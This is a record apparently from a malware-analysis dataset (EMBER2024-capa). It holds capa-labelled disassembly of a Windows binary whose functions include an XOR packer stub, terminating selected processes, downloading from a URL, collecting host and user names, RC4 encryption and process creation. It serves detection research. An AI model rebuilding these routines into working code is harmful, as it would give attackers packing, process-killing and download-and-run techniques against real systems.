joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406128
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x40614d
mov dword [0x40a0f4], eax
add esp, 0xfffffff8
push 0x4060ec
push eax
call fcn.00407c20
jmp 0x406152
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x406168
mov dword [0x409054], 0x40624c
jmp 0x406172
mov dword [0x409054], 0x406200
leave
ret

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..00cfg
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x4e5534bc
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0xea215e2
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401330
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.00420510
lea eax, [ebp - 4]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
call sub.KERNEL32.dll_K32EnumProcesses
test eax, eax
jne 0x40135f
mov eax, 1
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp - 4]
push edi
shr ebx, 2
xor edi, edi
test ebx, ebx
je 0x4013b5
push esi
nop
mov eax, dword [ebp + edi*4 - 0x1004]
test eax, eax
je 0x4013af
push eax
call fcn.004013c0
add esp, 4
cmp eax, 1
jne 0x4013af
push dword [ebp + edi*4 - 0x1004]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, ebx
jb 0x401370
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4056c0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 0x1d
push str.Mozilla_5.0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
call fcn.004032f0
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 0
cmovae eax, dword [ebp - 0x2c]
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edx, dword [ebp - 0x18]
mov ebx, eax
cmp edx, 8
jb 0x405743
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405739
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40585a
push edx
push ecx
call fcn.004204fa
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
test ebx, ebx
je 0x40585f
push eax
push 0x84000100
push eax
push eax
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x405788
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.Couldnt_open_URL_
jmp 0x405864
lea eax, [ebp - 1]
mov dword [ebp - 0x14], 0
push eax
push 0x400
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call fcn.00405420
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x400
push dword [ebp - 0x14]
mov dword [edi], 0
push esi
mov dword [edi + 4], 0
mov dword [edi + 8], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x405815
mov eax, dword [ebp - 8]
test eax, eax
je 0x405815
push dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
add eax, ecx
push eax
push ecx
push dword [edi + 4]
mov ecx, edi
call fcn.00405180
lea eax, [ebp - 8]
push eax
push 0x400
push dword [ebp - 0x14]
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4057e3
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x405851
mov edx, dword [ebp - 0xc]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x405847
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40588a
push edx
push ecx
call fcn.004204fa
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0042496f
push str.Couldnt_open_Internet_
lea ecx, [ebp - 0x44]
call fcn.00404740
mov ecx, eax
call fcn.004062e0
push eax
lea ecx, [ebp - 0x20]
call fcn.00405620
push 0x44c5bc
lea eax, [ebp - 0x20]
push eax
call fcn.004212f0
call fcn.0042496f
int3
Function at 0x4063d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
sub esp, 0x100
cmp dword [ecx + 0x14], 0x10
push esi
mov esi, dword [ebp + 8]
jb 0x4063e8
mov ecx, dword [ecx]
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
push edx
push 0x20019
push 0
push ecx
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40643b
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], 0xff
cmp dword [eax + 0x14], 0x10
jb 0x406415
mov eax, dword [eax]
lea ecx, [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x100]
push ecx
push 0
push 0
push eax
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x10]
test eax, eax
je 0x406456
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esi], 0
mov eax, esi
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x100]
mov dword [esi], 0
mov dword [esi + 0x10], 0
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406480
sub ecx, edx
lea eax, [ebp - 0x100]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40b7f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov eax, dword [ecx]
mov ebx, dword [ecx + 8]
mov edi, dword [ecx + 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], eax
mov eax, dword [ecx + 4]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], 0
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x50], xmm0
movups xmm0, xmmword [ecx + 0x10]
movups xmmword [ebp - 0x40], xmm0
movups xmm0, xmmword [ecx + 0x20]
movups xmmword [ebp - 0x30], xmm0
movups xmm0, xmmword [ecx + 0x30]
movups xmmword [ebp - 0x20], xmm0
mov esi, eax
mov dword [ebp + 0xc], eax
mov ecx, ebx
not esi
and ecx, eax
and esi, edi
or esi, ecx
mov edx, edi
mov ecx, dword [ebp - 8]
mov edi, ebx
mov ebx, dword [ebp - 8]
mov ecx, dword [ecx + 0x43e920]
add ecx, dword [ebp + ebx - 0x50]
add ecx, esi
add ecx, dword [ebp - 4]
rol ecx, 7
add eax, ecx
mov dword [ebp - 4], edx
mov ecx, ebx
mov ebx, dword [ebp + 0xc]
add ecx, 4
mov dword [ebp - 8], ecx
cmp ecx, 0x40
jb 0x40b836
mov dword [ebp - 0xc], 0x43e960
mov dword [ebp - 8], 0x51
mov esi, edi
mov dword [ebp + 0xc], eax
not esi
mov ecx, edi
and ecx, eax
and esi, ebx
or esi, ecx
mov edx, edi
mov ecx, dword [ebp - 8]
mov edi, ebx
mov ebx, dword [ebp - 0xc]
and ecx, 0xf
add dword [ebp - 0xc], 4
mov ecx, dword [ebp + ecx*4 - 0x50]
add ecx, dword [ebx]
mov ebx, dword [ebp + 0xc]
add ecx, esi
add ecx, dword [ebp - 4]
rol ecx, 0xc
add eax, ecx
mov dword [ebp - 4], edx
mov ecx, dword [ebp - 8]
add ecx, 5
mov dword [ebp - 8], ecx
cmp ecx, 0xa1
jb 0x40b884
mov ecx, 0x65
mov dword [ebp - 0xc], 0x43e9a0
mov dword [ebp - 8], ecx
nop word [eax + eax]
and ecx, 0xf
mov dword [ebp + 0xc], eax
mov edx, edi
mov esi, edi
xor edx, ebx
mov edi, ebx
mov ebx, dword [ebp - 0xc]
xor edx, eax
mov ecx, dword [ebp + ecx*4 - 0x50]
add dword [ebp - 0xc], 4
add ecx, dword [ebx]
mov ebx, dword [ebp + 0xc]
add ecx, edx
add ecx, dword [ebp - 4]
ror ecx, 0xf
add eax, ecx
mov dword [ebp - 4], esi
mov ecx, dword [ebp - 8]
add ecx, 3
mov dword [ebp - 8], ecx
cmp ecx, 0x95
jb 0x40b8e0
mov ecx, 0x150
mov dword [ebp + 0xc], 0xc0
mov dword [ebp - 0xc], ecx
nop dword [eax]
add dword [ebp - 0xc], 7
and ecx, 0xf
mov edx, edi
mov dword [ebp - 8], edi
mov edi, dword [ebp + 0xc]
not edx
or edx, eax
mov dword [ebp - 4], ebx
mov ecx, dword [ebp + ecx*4 - 0x50]
xor edx, ebx
mov ebx, eax
add ecx, dword [edi + 0x43e920]
add ecx, edx
mov edx, dword [ebp - 8]
add ecx, esi
mov esi, edx
ror ecx, 0xa
add eax, ecx
mov ecx, edi
mov edi, dword [ebp - 4]
add ecx, 4
mov dword [ebp + 0xc], ecx
cmp ecx, 0x100
mov ecx, dword [ebp - 0xc]
jb 0x40b930
mov ecx, dword [ebp - 0x10]
add ecx, edx
mov edx, dword [ebp + 8]
add dword [edx + 8], ebx
add dword [edx + 4], eax
add dword [edx + 0xc], edi
pop edi
pop esi
mov dword [edx], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bc20
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push esi
push edi
mov edi, dword [ebp + 8]
cmp dword [edi + 0x14], 0x10
mov esi, dword [edi + 0x10]
jb 0x40bc3a
add esi, dword [edi]
mov edi, dword [edi]
jmp 0x40bc3c
add esi, edi
mov eax, esi
mov dword [ebp - 0x28], 0
sub eax, edi
mov dword [ebp - 0x18], 0
push eax
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
call fcn.00411c60
mov byte [ebp + 8], 0
lea ecx, [ebp - 0x28]
push dword [ebp + 8]
push esi
push edi
call fcn.004075f0
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0x44
push ecx
push 0
push 0
push 0
push 0
xorps xmm0, xmm0
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push 0
push 0
push 0
push eax
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movups xmmword [ebp - 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40bce5
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
xor esi, esi
jmp 0x40bcea
mov esi, 1
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40bd20
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40bd16
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bd28
push edx
push ecx
call fcn.004204fa
add esp, 8
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0042496f
int3
Function at 0x410240
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x410271
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x410260
pop edi
mov eax, edx
pop esi
pop ebp
ret 8

Function at 0x410f20
Capabilities:
Encode data using xor
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x10
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x410f7c
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x18]
lea edx, [ecx + 1]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410f60
sub ecx, edx
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
cmp byte [0x43eb7b], 0
mov eax, dword [0x43eb78]
mov dword [ebp - 4], eax
je 0x411051
xor ecx, ecx
cmp dword [0x44f534], 2
jl 0x411030
movaps xmm3, xmmword [0x43e550]
mov ecx, 4
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x43f900]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x43f900]
shufps xmm2, xmm0, 0xdd
movd xmm0, ecx
mov ecx, 0x1f
psrad xmm2, xmm0
movaps xmm1, xmm2
movd xmm0, ecx
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.2222]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43e5d0]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.4444444444444444]
movd xmm0, eax
pxor xmm1, xmm0
movd dword [ebp - 4], xmm1
jmp 0x411051
mov eax, 0x51eb851f
mul ecx
shr edx, 4
movsx eax, dl
mov dl, cl
imul eax, eax, 0x32
sub dl, al
add dl, 0x34
xor byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 4
jl 0x411030
mov esi, dword [ebp + 8]
lea ecx, [ebp - 4]
lea edx, [ecx + 1]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411070
sub ecx, edx
lea eax, [ebp - 4]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x411090
Capabilities:
Encode data using xor
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x41
push eax
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x4110ec
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x4c]
lea edx, [ecx + 1]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4110d0
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
cmp byte [0x43eb7f], 0
mov eax, dword [0x43eb7c]
mov dword [ebp - 4], eax
je 0x4111c1
xor ecx, ecx
cmp dword [0x44f534], 2
jl 0x4111a0
movaps xmm3, xmmword [0x43e550]
mov ecx, 4
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x43f900]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x43f900]
shufps xmm2, xmm0, 0xdd
movd xmm0, ecx
mov ecx, 0x1f
psrad xmm2, xmm0
movaps xmm1, xmm2
movd xmm0, ecx
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.2222]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43e5d0]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.4444444444444444]
movd xmm0, eax
pxor xmm1, xmm0
movd dword [ebp - 4], xmm1
jmp 0x4111c1
mov eax, 0x51eb851f
mul ecx
shr edx, 4
movsx eax, dl
mov dl, cl
imul eax, eax, 0x32
sub dl, al
add dl, 0x34
xor byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 4
jl 0x4111a0
mov esi, dword [ebp + 8]
lea ecx, [ebp - 4]
lea edx, [ecx + 1]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4111e0
sub ecx, edx
lea eax, [ebp - 4]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x411ab0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push pe_nt_image_headers32
call fcn.004204ca
push pe_nt_image_headers32
mov esi, eax
push 0
push esi
mov dword [ebp - 0x10], esi
call fcn.00421d70
push pe_nt_image_headers32
call fcn.004204ca
push pe_nt_image_headers32
push 0
push eax
mov dword [ebp - 4], eax
call fcn.00421d70
mov ebx, dword [ebp + 8]
mov eax, esi
mov edi, dword [ebp + 0xc]
add esp, 0x20
xor ecx, ecx
mov dword [ebx], 0
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov ebx, dword [ebp - 4]
sub eax, ebx
mov dword [ebp - 0xc], eax
nop dword [eax + eax]
cmp dword [edi + 0x14], 0x10
mov dword [ebp - 8], edi
jb 0x411b2e
mov eax, dword [edi]
mov dword [ebp - 8], eax
xor edx, edx
lea esi, [ebx + ecx]
mov eax, ecx
mov ebx, dword [ebp - 8]
div dword [edi + 0x10]
mov al, byte [edx + ebx]
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 4]
mov byte [edx + esi], al
mov byte [esi], cl
inc ecx
cmp ecx, 0x100
jl 0x411b20
mov esi, ebx
mov dword [ebp - 8], pe_nt_image_headers32
mov ebx, dword [ebp + 8]
xor edi, edi
mov eax, dword [ebp - 0xc]
mov dl, byte [esi]
movzx ecx, dl
movzx eax, byte [esi + eax]
add edi, eax
add edi, ecx
and edi, 0x800000ff
jns 0x411b80
dec edi
or edi, 0xffffff00
inc edi
mov ecx, dword [ebp - 4]
mov al, byte [ecx + edi]
mov byte [esi], al
inc esi
sub dword [ebp - 8], 1
mov byte [ecx + edi], dl
jne 0x411b60
mov edi, dword [ebp + 0x10]
mov ecx, ebx
push 0
push dword [edi + 0x10]
call fcn.00411dd0
xor eax, eax
xor esi, esi
xor ecx, ecx
cmp dword [edi + 0x10], eax
mov edi, dword [ebp - 4]
jbe 0x411c28
nop
inc ecx
and ecx, 0x800000ff
jns 0x411bc1
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 4], ecx
mov cl, byte [edi + ecx]
movzx edx, cl
add eax, edx
and eax, 0x800000ff
jns 0x411bda
dec eax
or eax, 0xffffff00
inc eax
mov ebx, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov al, byte [edi + eax]
mov byte [edi + ebx], al
mov eax, dword [ebp - 0xc]
mov byte [edi + eax], cl
mov eax, ebx
mov ecx, dword [ebp + 0x10]
mov ebx, dword [ebp + 8]
movzx eax, byte [edi + eax]
add eax, edx
cmp dword [ecx + 0x14], 0x10
movzx eax, al
mov dl, byte [eax + edi]
mov eax, ecx
jb 0x411c0a
mov eax, dword [ecx]
mov al, byte [eax + esi]
xor al, dl
cmp dword [ebx + 0x14], 0x10
mov edx, ebx
jb 0x411c19
mov edx, dword [ebx]
mov byte [edx + esi], al
inc esi
cmp esi, dword [ecx + 0x10]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
jb 0x411bb0
test edi, edi
je 0x411c3a
push pe_nt_image_headers32
push edi
call fcn.004204fa
add esp, 8
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x411c4f
push pe_nt_image_headers32
push eax
call fcn.004204fa
add esp, 8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42d64b
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4438f0
push 0x4438e8
push str.FlsAlloc
push 0x1e
call fcn.0042d4b8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42d67f
push dword [ebp + 8]
mov ecx, esi
call dword [0x43e1d0]
call esi
jmp 0x42d685
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x42d6c9
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x443900
push 0x4438f8
push str.FlsGetValue
push 0x20
call fcn.0042d4b8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42d700
push dword [ebp + 8]
mov ecx, esi
call dword [0x43e1d0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x42edaa
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042ec1b

Function at 0x42f1a4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00420510
mov eax, dword [0x44e060]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0042dc7e
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x42f1e6
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x42f342
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0043d6a0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x44fd00]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0043019b
mov ecx, dword [esi*4 + 0x44fd00]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x42f33b
cmp eax, dword [edi + ecx + 0x24]
jne 0x42f33b
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42f33b
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0043019b
add esp, 0x14
test edx, edx
jl 0x42f33b
jg 0x42f2b1
test eax, eax
jb 0x42f33b
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x42f33b
jl 0x42f2cb
cmp dword [ebp - 0x1008], eax
ja 0x42f33b
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x42f2e9
test ebx, ebx
je 0x42f322
cmp ecx, edi
jae 0x42f322
mov al, byte [ecx]
cmp al, 0xd
jne 0x42f303
lea eax, [edi - 1]
cmp ecx, eax
jae 0x42f30f
cmp byte [ecx + 1], 0xa
jne 0x42f30f
inc ecx
jmp 0x42f30f
movzx eax, al
movsx eax, byte [eax + 0x44e2d8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x42f2e9
cmp edx, ebx
jne 0x42f2e9
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x42f340
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00420bd6
leave
ret
Function at 0x42f639
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x44fd00]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x42f679
cmp byte [ebx], 0xa
jne 0x42f679
or byte [eax + edi + 0x28], 4
jmp 0x42f67e
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x42f77c
mov al, byte [edx]
cmp al, 0x1a
je 0x42f75e
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x42f6ad
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x42f6d2
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x42f6dc
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x42f68f
jmp 0x42f77c
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42f759
cmp dword [ebp - 0xc], 0
je 0x42f759
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x44fd00]
test byte [eax + edi + 0x28], 0x48
je 0x42f733
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x42f71e
mov byte [esi], dl
jmp 0x42f72f
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x44fd00]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x42f77c
cmp byte [ebp - 1], 0xa
jne 0x42f742
cmp esi, ebx
jne 0x42f742
mov byte [esi], 0xa
jmp 0x42f77b
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004301b9
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x42f77c
mov byte [esi], 0xd
jmp 0x42f77b
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x44fd00]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x42f778
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x42f77c
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret